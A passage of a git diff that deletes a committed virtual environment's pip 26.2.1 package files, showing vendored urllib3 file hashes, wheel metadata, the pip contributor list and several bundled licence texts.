-pip/_vendor/urllib3/contrib/emscripten/__init__.py,sha256=ZruXaWKVzAEJdqNH3NEh0mrHrw--2VZYb0zX0RonNZA,870
-pip/_vendor/urllib3/contrib/emscripten/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/urllib3/contrib/emscripten/__pycache__/connection.cpython-314.pyc,,
-pip/_vendor/urllib3/contrib/emscripten/__pycache__/fetch.cpython-314.pyc,,
-pip/_vendor/urllib3/contrib/emscripten/__pycache__/request.cpython-314.pyc,,
-pip/_vendor/urllib3/contrib/emscripten/__pycache__/response.cpython-314.pyc,,
-pip/_vendor/urllib3/contrib/emscripten/connection.py,sha256=giElsBoUsKVURbZzb8GCrJmqW23Xnvj2aNyQVF42slg,8960
-pip/_vendor/urllib3/contrib/emscripten/emscripten_fetch_worker.js,sha256=z1k3zZ4_hDKd3-tN7wzz8LHjHC2pxN_uu8B3k9D9A3c,3677
-pip/_vendor/urllib3/contrib/emscripten/fetch.py,sha256=5xcd--viFxZd2nBy0aK73dtJ9Tsh1yYZU_SUXwnwibk,23520
-pip/_vendor/urllib3/contrib/emscripten/request.py,sha256=mL28szy1KvE3NJhWor5jNmarp8gwplDU-7gwGZY5g0Q,566
-pip/_vendor/urllib3/contrib/emscripten/response.py,sha256=CDpY0GFoluR3IxECkM2gH5uDfYDM0EL1FWr7B76wtgM,9719
-pip/_vendor/urllib3/contrib/pyopenssl.py,sha256=Pi_qwvdl83tNpuj1k5pCpP_gmxlk4BfFrTlAeg-qZ_U,19760
-pip/_vendor/urllib3/contrib/socks.py,sha256=rSuklfha4-vto-8qSLhSPmf5lmRPIYuqdAxKe9bg2RA,7639
-pip/_vendor/urllib3/exceptions.py,sha256=hQPHoqo4yw46esNSVkciVQXVUgAxWAglsh6MbyQta-Q,9945
-pip/_vendor/urllib3/fields.py,sha256=aGLFAVZpVU-FbJlllve4Ahg0-pH9ZZBQ2Iz7lfpkjkM,10801
-pip/_vendor/urllib3/filepost.py,sha256=U8eNZ-mpKKHhrlbHEEiTxxgK16IejhEa7uz42yqA_dI,2388
-pip/_vendor/urllib3/http2/__init__.py,sha256=xzrASH7R5ANRkPJOot5lGnATOq3KKuyXzI42rcnwmqs,1741
-pip/_vendor/urllib3/http2/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/urllib3/http2/__pycache__/connection.cpython-314.pyc,,
-pip/_vendor/urllib3/http2/__pycache__/probe.cpython-314.pyc,,
-pip/_vendor/urllib3/http2/connection.py,sha256=bHMH6fNvatwXPrKqrcn74yA3pUWcqPDppnK1LcKCbP8,12578
-pip/_vendor/urllib3/http2/probe.py,sha256=nnAkqbhAakOiF75rz7W0udZ38Eeh_uD8fjV74N73FEI,3014
-pip/_vendor/urllib3/poolmanager.py,sha256=grIrETG1rgHYBaQau1yN4xxfK8U9CKVRYmwBXW_kdSo,23929
-pip/_vendor/urllib3/py.typed,sha256=UaCuPFa3H8UAakbt-5G8SPacldTOGvJv18pPjUJ5gDY,93
-pip/_vendor/urllib3/response.py,sha256=DzBM-dzl6x_h2EZGc9iw0gbOkQ36bolC7WESH4TurH8,53031
-pip/_vendor/urllib3/util/__init__.py,sha256=-qeS0QceivazvBEKDNFCAI-6ACcdDOE4TMvo7SLNlAQ,1001
-pip/_vendor/urllib3/util/__pycache__/__init__.cpython-314.pyc,,
-pip/_vendor/urllib3/util/__pycache__/connection.cpython-314.pyc,,
-pip/_vendor/urllib3/util/__pycache__/proxy.cpython-314.pyc,,
-pip/_vendor/urllib3/util/__pycache__/request.cpython-314.pyc,,
-pip/_vendor/urllib3/util/__pycache__/response.cpython-314.pyc,,
-pip/_vendor/urllib3/util/__pycache__/retry.cpython-314.pyc,,
-pip/_vendor/urllib3/util/__pycache__/ssl_.cpython-314.pyc,,
-pip/_vendor/urllib3/util/__pycache__/ssl_match_hostname.cpython-314.pyc,,
-pip/_vendor/urllib3/util/__pycache__/ssltransport.cpython-314.pyc,,
-pip/_vendor/urllib3/util/__pycache__/timeout.cpython-314.pyc,,
-pip/_vendor/urllib3/util/__pycache__/url.cpython-314.pyc,,
-pip/_vendor/urllib3/util/__pycache__/util.cpython-314.pyc,,
-pip/_vendor/urllib3/util/__pycache__/wait.cpython-314.pyc,,
-pip/_vendor/urllib3/util/connection.py,sha256=JjO722lzHlzLXPTkr9ZWBdhseXnMVjMSb1DJLVrXSnQ,4444
-pip/_vendor/urllib3/util/proxy.py,sha256=seP8-Q5B6bB0dMtwPj-YcZZQ30vHuLqRu-tI0JZ2fzs,1148
-pip/_vendor/urllib3/util/request.py,sha256=p9Ki9eo1tFBO-jqV_7KmmJ60RKqoY2r4ao0SmaHLyOs,8086
-pip/_vendor/urllib3/util/response.py,sha256=vQE639uoEhj1vpjEdxu5lNIhJCSUZkd7pqllUI0BZOA,3374
-pip/_vendor/urllib3/util/retry.py,sha256=2YnSX-_FecMShD61Mx5s68J0_btUHZrrc_BkFVRS1P4,19577
-pip/_vendor/urllib3/util/ssl_.py,sha256=Oqe3rIhUU3e3GVgZob2hxmR8Q0ZDhrhESPlPP_GLaVQ,17742
-pip/_vendor/urllib3/util/ssl_match_hostname.py,sha256=Ft44KJzTzGMmKff_ZXP91li2V4WhmvEy16PKBcv4vZk,5479
-pip/_vendor/urllib3/util/ssltransport.py,sha256=Ez4O8pR_vT8dan_FvqBYS6dgDfBXEMfVfrzcdUoWfi4,8847
-pip/_vendor/urllib3/util/timeout.py,sha256=vsUJRpO0nfKk-y1OKlgFGY1ONJGPgkaZ7B7kruEpVYw,10363
-pip/_vendor/urllib3/util/url.py,sha256=PEDQMypidude0nAZctLLiFK9epN-LPnSH7KpOLLwqH0,15256
-pip/_vendor/urllib3/util/util.py,sha256=j3lbZK1jPyiwD34T8IgJzdWEZVT-4E-0vYIJi9UjeNA,1146
-pip/_vendor/urllib3/util/wait.py,sha256=_ph8IrUR3sqPqi0OopQgJUlH4wzkGeM5CiyA7XGGtmI,4423
-pip/_vendor/vendor.txt,sha256=PfDJYBv6Lg3KI8xXSk-QCk1_2tBgqyA_q4NUNQ7ZMyA,317
-pip/py.typed,sha256=EBVvvPRTn_eIpz5e5QztSCdrMX7Qwd7VP93RSoIlZ2I,286
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/REQUESTED b/venv/Lib/site-packages/pip-26.2.1.dist-info/REQUESTED
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/WHEEL b/venv/Lib/site-packages/pip-26.2.1.dist-info/WHEEL
deleted file mode 100644
index d8b9936dad9ab2513fa6979f411560d3b6b57e37..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/WHEEL
+++ /dev/null
@@ -1,4 +0,0 @@
-Wheel-Version: 1.0
-Generator: flit 3.12.0
-Root-Is-Purelib: true
-Tag: py3-none-any
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/entry_points.txt b/venv/Lib/site-packages/pip-26.2.1.dist-info/entry_points.txt
deleted file mode 100644
index c6436d21fcc6479564ce8581c93e30e2cc60a096..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/entry_points.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-[console_scripts]
-pip=pip._internal.cli.main:main
-pip3=pip._internal.cli.main:main
-
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/AUTHORS.txt b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/AUTHORS.txt
deleted file mode 100644
index 691991f6297ee7562b3ee9e403e602da648f1486..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/AUTHORS.txt
+++ /dev/null
@@ -1,888 +0,0 @@
-@Switch01
-A_Rog
-Aakanksha Agrawal
-Aarni Koskela
-abdul rawoof
-Abdul Rawoof Khan
-Abhinav Sagar
-ABHYUDAY PRATAP SINGH
-abs51295
-AceGentile
-Adam Chainz
-Adam Tse
-Adam Turner
-Adam Wentz
-admin
-Adolfo Ochagavía
-Adrien Morison
-Agus
-ahayrapetyan
-Ahilya
-AinsworthK
-Akash Srivastava
-Alan Yee
-Albert Tugushev
-Albert-Guan
-albertg
-Alberto Sottile
-Aleks Bunin
-Ales Erjavec
-Alessandro Molina
-Alethea Flowers
-Alex Gaynor
-Alex Grönholm
-Alex Hedges
-Alex Loosley
-Alex Morega
-Alex Stachowiak
-Alexander Regueiro
-Alexander Shtyrov
-Alexandre Conrad
-Alexey Popravka
-Aleš Erjavec
-Alli
-Aman
-Ami Fischman
-Ananya Maiti
-Anatoly Techtonik
-Anders Kaseorg
-Andre Aguiar
-Andrea Corna
-Andreas Lutro
-Andrei Geacar
-Andrew Gaul
-Andrew Shymanel
-Andrey Bienkowski
-Andrey Bulgakov
-Andrés Delfino
-Andy Freeland
-Andy Kluger
-Ani Hayrapetyan
-Aniruddha Basak
-Anish Tambe
-Anrs Hu
-Anthony Sottile
-Antoine Lambert
-Antoine Musso
-Anton Ovchinnikov
-Anton Patrushev
-Anton Zelenov
-Antonio Alvarado Hernandez
-Antony Lee
-Antti Kaihola
-Anubhav Patel
-Anudit Nagar
-Anuj Godase
-AQNOUCH Mohammed
-AraHaan
-Aren Siekmeier
-arena
-arenasys
-Arindam Choudhury
-Armin Ronacher
-Arnon Yaari
-Artem
-Arun Babu Neelicattu
-Ashley Manton
-Ashwin Ramaswami
-atse
-Atsushi Odagiri
-Avinash Karhana
-Avner Cohen
-Awit (Ah-Wit) Ghirmai
-Baptiste Mispelon
-Barney Gale
-barneygale
-Bartek Ogryczak
-Bastian Venthur
-Ben Bodenmiller
-Ben Darnell
-Ben Hoyt
-Ben Mares
-Ben Rosser
-Bence Nagy
-Benjamin Peterson
-Benjamin VanEvery
-Benoit Pierre
-Berker Peksag
-Bernard
-Bernard Tyers
-Bernardo B. Marques
-Bernhard M. Wiedemann
-Bertil Hatt
-Bhavam Vidyarthi
-Blazej Michalik
-Bogdan Opanchuk
-BorisZZZ
-Brad Erickson
-Bradley Ayers
-Bradley Reynolds
-Branch Vincent
-Brandon L. Reiss
-Brandt Bucher
-Brannon Dorsey
-Brett Randall
-Brett Rosen
-Brian Cristante
-Brian Rosner
-briantracy
-BrownTruck
-Bruno Oliveira
-Bruno Renié
-Bruno S
-Bstrdsmkr
-Buck Golemon
-burrows
-Bussonnier Matthias
-bwoodsend
-c22
-Caleb Brown
-Caleb Martinez
-Calvin Smith
-Carl Meyer
-Carlos Liam
-Carol Willing
-Carter Thayer
-Cass
-Chandrasekhar Atina
-Charlie Marsh
-charwick
-Chih-Hsuan Yen
-Chris Brinker
-Chris Hunt
-Chris Jerdonek
-Chris Kuehl
-Chris Markiewicz
-Chris McDonough
-Chris Pawley
-Chris Pryer
-Chris Wolfe
-Christian Clauss
-Christian Heimes
-Christian Oudard
-Christoph Reiter
-Christopher Hunt
-Christopher Snyder
-chrysle
-cjc7373
-Clark Boylan
-Claudio Jolowicz
-Clay McClure
-Cody
-Cody Soyland
-Colin Watson
-Collin Anderson
-Connor Osborn
-Cooper Lees
-Cooper Ry Lees
-Cory Benfield
-Cory Wright
-Craig Kerstiens
-Cristian Sorinel
-Cristina
-Cristina Muñoz
-ctg123
-Curtis Doty
-cytolentino
-Daan De Meyer
-Dale
-Damian
-Damian Quiroga
-Damian Shaw
-Dan Black
-Dan Savilonis
-Dan Sully
-Dane Hillard
-daniel
-Daniel Collins
-Daniel Hahler
-Daniel Hollas
-Daniel Holth
-Daniel Jost
-Daniel Katz
-Daniel Shaulov
-Daniele Esposti
-Daniele Nicolodi
-Daniele Procida
-Daniil Konovalenko
-Danny Hermes
-Danny McClanahan
-Darren Kavanagh
-Dav Clark
-Dave Abrahams
-Dave Jones
-David Aguilar
-David Black
-David Bordeynik
-David Caro
-David D Lowe
-David Evans
-David Hewitt
-David Linke
-David Poggi
-David Poznik
-David Pursehouse
-David Runge
-David Tucker
-David Wales
-Davidovich
-Dayna Blackwell
-ddelange
-Deepak Sharma
-Deepyaman Datta
-Denis Roussel (ACSONE)
-Denise Yu
-dependabot[bot]
-dereksz
-derwolfe
-Desetude
-developer
-Devesh Kumar
-Devesh Kumar Singh
-devsagul
-Dewank Pant
-Diego Caraballo
-Diego Ramirez
-DiegoCaraballo
-Dimitri Merejkowsky
-Dimitri Papadopoulos
-Dimitri Papadopoulos Orfanos
-Dirk Stolle
-dkjsone
-Dmitrii Sutiagin
-Dmitry Gladkov
-Dmitry Volodin
-Domen Kožar
-Dominic Davis-Foster
-Donald Stufft
-Dongweiming
-doron zarhi
-Dos Moonen
-Douglas Thor
-DrFeathers
-Dustin Ingram
-Dustin Rodrigues
-Dwayne Bailey
-Ed Morley
-Edgar Ramírez
-Edgar Ramírez Mondragón
-Ee Durbin
-Efflam Lemaillet
-efflamlemaillet
-Eitan Adler
-ekristina
-elainechan
-Eli Schwartz
-Elisha Hollander
-Ellen Marie Dash
-Emil Burzo
-Emil Styrke
-Emmanuel Arias
-Endoh Takanao
-enoch
-Erdinc Mutlu
-Eric Cousineau
-Eric Gillingham
-Eric Hanchrow
-Eric Hopper
-Erik M. Bray
-Erik Rose
-Erwin Janssen
-Eugene Vereshchagin
-everdimension
-Federico
-Felipe Peter
-Felix Yan
-fiber-space
-Filip Kokosiński
-Filipe Laíns
-Finn Womack
-finnagin
-Flavio Amurrio
-Florian Briand
-Florian Rathgeber
-Francesco
-Francesco Montesano
-Fredrik Orderud
-Fredrik Roubert
-Frost Ming
-Gabriel Curio
-Gabriel de Perthuis
-Garry Polley
-gavin
-gdanielson
-Gene Wood
-Geoffrey Sneddon
-George Margaritis
-George Song
-Georgi Valkov
-Georgy Pchelkin
-Gertjan van Zwieten
-ghost
-Giancarlo Cicellyn Comneno
-Giftlin Rajaiah
-gizmoguy1
-gkdoc
-Godefroid Chapelle
-Gopinath M
-GOTO Hayato
-gousaiyang
-gpiks
-Greg Roodt
-Greg Ward
-Guido Diepen
-Guilherme Espada
-Guillaume Seguin
-gutsytechster
-Guy Rozendorn
-Guy Tuval
-gzpan123
-Hanjun Kim
-Hari Charan
-Harsh Vardhan
-Harsha Sai
-harupy
-Harutaka Kawamura
-Hasan-8326
-hauntsaninja
-Henrich Hartzer
-Henry Schreiner
-Herbert Pfennig
-Holly Stotelmyer
-Honnix
-Hsiaoming Yang
-Hugo
-Hugo Lopes Tavares
-Hugo van Kemenade
-Hugues Bruant
-Hynek Schlawack
-iamsrp-deshaw
-Ian Bicking
-Ian Cordasco
-Ian Lee
-Ian Stapleton Cordasco
-Ian Wienand
-Igor Kuzmitshov
-Igor Sobreira
-Ikko Ashimine
-Ilan Schnell
-Illia Volochii
-Ilya Abdolmanafi
-Ilya Baryshev
-Inada Naoki
-Ionel Cristian Mărieș
-Ionel Maries Cristian
-Itamar Turner-Trauring
-iTrooz
-Ivan Pozdeev
-J. Nick Koston
-Jacob Kim
-Jacob Walls
-Jaime Sanz
-Jake Lishman
-jakirkham
-Jakub Kuczys
-Jakub Stasiak
-Jakub Vysoky
-Jakub Wilk
-James
-James Cleveland
-James Curtin
-James Firth
-James Gerity
-James Polley
-Jan Pokorný
-Jannis Leidel
-Jarek Potiuk
-jarondl
-Jason Curtis
-Jason R. Coombs
-JasonMo
-JasonMo1
-Jay Graves
-Jean Abou Samra
-Jean-Christophe Fillion-Robin
-Jeff Barber
-Jeff Dairiki
-Jeff Widman
-Jelmer Vernooij
-jenix21
-Jeremy Fleischman
-Jeremy Stanley
-Jeremy Zafran
-Jesse Rittner
-Jiashuo Li
-Jim Fisher
-Jim Garrison
-Jinzhe Zeng
-Jiun Bae
-Jivan Amara
-Joa
-Joe Bylund
-Joe Michelini
-Johannes Altmanninger
-John Paton
-John Sirois
-John T. Wodder II
-John-Scott Atlakson
-johnthagen
-Jon Banafato
-Jon Dufresne
-Jon Parise
-Jonas Nockert
-Jonathan Herbert
-Joonatan Partanen
-Joost Molenaar
-Jorge Niedbalski
-Joseph Bylund
-Joseph Long
-Josh Bronson
-Josh Cannon
-Josh Hansen
-Josh Schneier
-Joshua
-JoshuaPerdue
-Jost Migenda
-Juan Luis Cano Rodríguez
-Juanjo Bazán
-Judah Rand
-Julian Berman
-Julian Gethmann
-Julien Demoor
-Julien Stephan
-July Tikhonov
-Jussi Kukkonen
-Justin van Heek
-jwg4
-Jyrki Pulliainen
-Kai Chen
-Kai Mueller
-Kamal Bin Mustafa
-Karolina Surma
-kasium
-kaustav haldar
-Kaz Nishimura
-keanemind
-Keith Maxwell
-Kelsey Hightower
-Kenneth Belitzky
-Kenneth Reitz
-Kevin Burke
-Kevin Carter
-Kevin Frommelt
-Kevin R Patterson
-Kevin Turcios
-Kexuan Sun
-Kit Randel
-Klaas van Schelven
-KOLANICH
-konstin
-kpinc
-Krishan Bhasin
-Krishna Oza
-Kumar McMillan
-Kuntal Majumder
-Kurt McKee
-Kyle Persohn
-lakshmanaram
-Laszlo Kiss-Kollar
-Laurent Bristiel
-Laurent LAPORTE
-Laurie O
-Laurie Opperman
-layday
-Leon Sasson
-Lev Givon
-Lincoln de Sousa
-Lipis
-lorddavidiii
-Loren Carvalho
-Louis Liu
-Lucas Cimon
-Ludovic Gasc
-Luis Carlos
-Luis Medel
-Lukas Geiger
-Lukas Juhrich
-Luke Macken
-Luo Jiebin
-luojiebin
-luz.paz
-László Kiss Kollár
-M00nL1ght
-MajorTanya
-Malcolm Smith
-Marc Abramowitz
-Marc Tamlyn
-Marcus Smith
-Mariatta
-Mark Kohler
-Mark McLoughlin
-Mark Williams
-Markus Hametner
-Martey Dodoo
-Martin Fischer
-Martin Häcker
-Martin Pavlasek
-Masaki
-Masklinn
-Matej Stuchlik
-Mateusz Sokół
-Mathew Jennings
-Mathieu Bridon
-Mathieu Kniewallner
-Matt Bacchi
-Matt Good
-Matt Maker
-Matt Robenolt
-Matt Wozniski
-matthew
-Matthew Einhorn
-Matthew Feickert
-Matthew Gilliard
-Matthew Hughes
-Matthew Iversen
-Matthew Treinish
-Matthew Trumbell
-Matthew Willson
-Matthias Bussonnier
-mattip
-Maurits van Rees
-Max W Chase
-Maxim Kurnikov
-Maxime Rouyrre
-mayeut
-mbaluna
-Md Sujauddin Sekh
-mdebi
-Meet Vasita
-memoselyk
-meowmeowcat
-Michael
-Michael Aquilina
-Michael E. Karpeles
-Michael Klich
-Michael Mintz
-Michael Williamson
-michaelpacer
-Michał Górny
-Mickaël Schoentgen
-Miguel Araujo Perez
-Mihir Singh
-Mike
-Mike Hendricks
-Min RK
-MinRK
-Miro Hrončok
-Mohsen Fooladnezhad
-Monica Baluna
-montefra
-Monty Taylor
-morotti
-mrKazzila
-Muha Ajjan
-MUTHUSRIHEMADHARSHINI S A
-Nadav Wexler
-Nahuel Ambrosini
-Nate Coraor
-Nate Prewitt
-Nathan Houghton
-Nathaniel J. Smith
-Nehal J Wani
-Neil Botelho
-Nguyễn Gia Phong
-Nicholas Serra
-Nick Coghlan
-Nick Stenning
-Nick Timkovich
-Nicolas Bock
-Nicole Harris
-Nikhil Benesch
-Nikhil Ladha
-Nikita Chepanov
-Nikolay Korolev
-Nipunn Koorapati
-Nitesh Sharma
-Niyas Sait
-Noah
-Noah Gorny
-Nok Lam Chan
-Norbert Manthey
-Nothing-991
-Nowell Strite
-NtaleGrey
-nucccc
-nvdv
-OBITORASU
-Ofek Lev
-ofrinevo
-Oleg Burnaev
-Oliver Freund
-Oliver Jeeves
-Oliver Mannion
-Oliver Tonnhofer
-Olivier Girardot
-Olivier Grisel
-Ollie Rutherfurd
-Omar Abdalgwad
-OMOTO Kenji
-Omry Yadan
-onlinejudge95
-Oren Held
-Oscar Benjamin
-oxygen dioxide
-Oz N Tiram
-Pachwenko
-Paresh Joshi
-Patrick Dubroy
-Patrick Jenkins
-Patrick Lawson
-patricktokeeffe
-Patrik Kopkan
-Paul Ganssle
-Paul Kehrer
-Paul Moore
-Paul Nasrat
-Paul Oswald
-Paul van der Linden
-Paulus Schoutsen
-Pavel Safronov
-Pavithra Eswaramoorthy
-Pawel Jasinski
-Paweł Szramowski
-Pekka Klärck
-Peter Gessler
-Peter Lisák
-Peter Shen
-Peter Waller
-Petr Viktorin
-petr-tik
-Phaneendra Chiruvella
-Phil Elson
-Phil Freo
-Phil Pennock
-Phil Whelan
-Philip Jägenstedt
-Philip Molloy
-Philippe Ombredanne
-Pi Delport
-Pierre-Yves Rofes
-Pieter Degroote
-pip
-Prabakaran Kumaresshan
-Prabhjyotsing Surjit Singh Sodhi
-Prabhu Marappan
-Pradyun Gedam
-Prashant Sharma
-Pratik Mallya
-pre-commit-ci[bot]
-Preet Thakkar
-Preston Holmes
-Przemek Wrzos
-Pulkit Goyal
-q0w
-Qiangning Hong
-Qiming Xu
-qraqras
-Quentin Lee
-Quentin Pradet
-R. David Murray
-Rafael Caricio
-RAHUL KUMAR
-rahulkotargasthi
-Ralf Schmitt
-Ran Benita
-Randy Döring
-Razzi Abuissa
-rdb
-Reece Dunham
-Remi Rampin
-Rene Dudfield
-Riccardo Magliocchetti
-Riccardo Schirone
-Richard Jones
-Richard Si
-Ricky Ng-Adam
-Rishi
-rmorotti
-RobberPhex
-Robert Collins
-Robert McGibbon
-Robert Pollak
-Robert T. McGibbon
-robin elisha robinson
-Rodney, Tiara
-Roey Berman
-Rohan Jain
-Roman Bogorodskiy
-Roman Donchenko
-Romuald Brunet
-ronaudinho
-Ronny Pfannschmidt
-Rory McCann
-Ross Brattain
-Roy Wellington Ⅳ
-RoyS
-Ruairidh MacLeod
-Russell Keith-Magee
-Ryan Shepherd
-Ryan Wooden
-ryneeverett
-Ryuma Asai
-S. Guliaev
-Sachi King
-Sai Sridhar Tarra
-Salvatore Rinchiera
-sandeepkiran-js
-Sander Van Balen
-Savio Jomton
-schlamar
-Scott Kitterman
-Sean
-seanj
-Sebastian Höffner
-Sebastian Jordan
-Sebastian Schaetz
-Segev Finer
-SeongSoo Cho
-Sepehr Rasouli
-sepehrrasooli
-Sergey Vasilyev
-Seth Michael Larson
-Seth Woodworth
-Shahar Epstein
-Shantanu
-shenxianpeng
-shireenrao
-Shivam Shrey
-Shivansh-007
-Shixian Sheng
-Shlomi Fish
-Shovan Maity
-Shubham Nagure
-Simeon Visser
-Simon Cross
-Simon Pichugin
-sinoroc
-sinscary
-snook92
-socketubs
-Sorin Sbarnea
-Srinivas Nyayapati
-Srishti Hegde
-Stavros Korokithakis
-Stefan Scherfke
-Stefano Rivera
-Stephan Erb
-Stephane Chazelas
-Stephen Payne
-Stephen Rosen
-stepshal
-Steve (Gadget) Barnes
-Steve Barnes
-Steve Dower
-Steve Kowalik
-Steven Myint
-Steven Silvester
-stonebig
-studioj
-Stéphane Bidoul
-Stéphane Bidoul (ACSONE)
-Stéphane Klein
-Sumana Harihareswara
-Surbhi Sharma
-Sviatoslav Sydorenko
-Sviatoslav Sydorenko (Святослав Сидоренко)
-Swat009
-Sylvain
-S​age Abdullah
-Takayuki SHIMIZUKAWA
-Taneli Hukkinen
-tbeswick
-Terrance
-Thiago
-Thijs Triemstra
-Thomas Fenzl
-Thomas Grainger
-Thomas Guettler
-Thomas Johansson
-Thomas Kluyver
-Thomas Smith
-Thomas VINCENT
-Tim D. Smith
-Tim Gates
-Tim Harder
-Tim Heap
-tim smith
-tinruufu
-Tobias Hermann
-Tom Forbes
-Tom Freudenheim
-Tom V
-Tomas Hrnciar
-Tomas Orsava
-Tomer Chachamu
-Tommi Enenkel | AnB
-Tomáš Hrnčiar
-Tony Beswick
-Tony Narlock
-Tony Zhaocheng Tan
-TonyBeswick
-toonarmycaptain
-Toshio Kuratomi
-toxinu
-Travis Swicegood
-Tushar Sadhwani
-Tzu-ping Chung
-Valentin Haenel
-Victor Stinner
-victorvpaulo
-Vikram - Google
-Viktor Szépe
-Ville Skyttä
-Vinay Sajip
-Vincent Fazio
-Vincent Philippon
-Vinicyus Macedo
-Vipul Kumar
-Vitaly Babiy
-Vladimir Fokow
-Vladimir Rutsky
-W. Trevor King
-Weida Hong
-Wil Tan
-Wilfred Hughes
-William Edwards
-William ML Leslie
-William T Olson
-William Woodruff
-Wilson Mo
-wim glenn
-Winson Luk
-Wolfgang Maier
-Wu Zhenyu
-XAMES3
-Xavier Fernandez
-Xianpeng Shen
-xoviat
-xtreak
-YAMAMOTO Takashi
-Yash
-Yashraj
-Yen Chi Hsuan
-Yeray Diaz Diaz
-Youngkwang Yang
-Yoval P
-Yu Jian
-Yuan Jing Vincent Yan
-Yuki Kobayashi
-Yusuke Hayashi
-Zachary Ware
-zackzack38
-Zearin
-Zhiping Deng
-ziebam
-Zvezdan Petkovic
-Łukasz Langa
-Роман Донченко
-Семён Марьясин
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/LICENSE.txt b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/LICENSE.txt
deleted file mode 100644
index 8e7b65eaf628360e6f32f4140fcdd7ec7c2b7077..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/LICENSE.txt
+++ /dev/null
@@ -1,20 +0,0 @@
-Copyright (c) 2008-present The pip developers (see AUTHORS.txt file)
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/cachecontrol/LICENSE.txt b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/cachecontrol/LICENSE.txt
deleted file mode 100644
index d8b3b56d361cfaa04de6304c96c328f27266f74e..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/cachecontrol/LICENSE.txt
+++ /dev/null
@@ -1,13 +0,0 @@
-Copyright 2012-2021  Eric Larson
-
-Licensed under the Apache License, Version 2.0 (the "License");
-you may not use this file except in compliance with the License.
-You may obtain a copy of the License at
-
-    http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing, software
-distributed under the License is distributed on an "AS IS" BASIS,
-WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-See the License for the specific language governing permissions and
-limitations under the License.
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/certifi/LICENSE b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/certifi/LICENSE
deleted file mode 100644
index 62b076cdee58ec8f34034141ba0befd9015b0c7e..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/certifi/LICENSE
+++ /dev/null
@@ -1,20 +0,0 @@
-This package contains a modified version of ca-bundle.crt:
-
-ca-bundle.crt -- Bundle of CA Root Certificates
-
-This is a bundle of X.509 certificates of public Certificate Authorities
-(CA). These were automatically extracted from Mozilla's root certificates
-file (certdata.txt).  This file can be found in the mozilla source tree:
-https://hg.mozilla.org/mozilla-central/file/tip/security/nss/lib/ckfw/builtins/certdata.txt
-It contains the certificates in PEM format and therefore
-can be directly used with curl / libcurl / php_curl, or with
-an Apache+mod_ssl webserver for SSL client authentication.
-Just configure this file as the SSLCACertificateFile.#
-
-***** BEGIN LICENSE BLOCK *****
-This Source Code Form is subject to the terms of the Mozilla Public License,
-v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain
-one at http://mozilla.org/MPL/2.0/.
-
-***** END LICENSE BLOCK *****
-@(#) $RCSfile: certdata.txt,v $ $Revision: 1.80 $ $Date: 2011/11/03 15:11:58 $
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/distlib/LICENSE.txt b/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/distlib/LICENSE.txt
deleted file mode 100644
index c31ac56d772f7061c8b42f0ee96063b7a94a4859..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/licenses/src/pip/_vendor/distlib/LICENSE.txt
+++ /dev/null
@@ -1,284 +0,0 @@
-A. HISTORY OF THE SOFTWARE
-==========================
-
-Python was created in the early 1990s by Guido van Rossum at Stichting
-Mathematisch Centrum (CWI, see http://www.cwi.nl) in the Netherlands
-as a successor of a language called ABC.  Guido remains Python's
-principal author, although it includes many contributions from others.
-
-In 1995, Guido continued his work on Python at the Corporation for
-National Research Initiatives (CNRI, see http://www.cnri.reston.va.us)
-in Reston, Virginia where he released several versions of the
-software.
-
-In May 2000, Guido and the Python core development team moved to
-BeOpen.com to form the BeOpen PythonLabs team.  In October of the same
-year, the PythonLabs team moved to Digital Creations (now Zope
-Corporation, see http://www.zope.com).  In 2001, the Python Software
-Foundation (PSF, see http://www.python.org/psf/) was formed, a
-non-profit organization created specifically to own Python-related
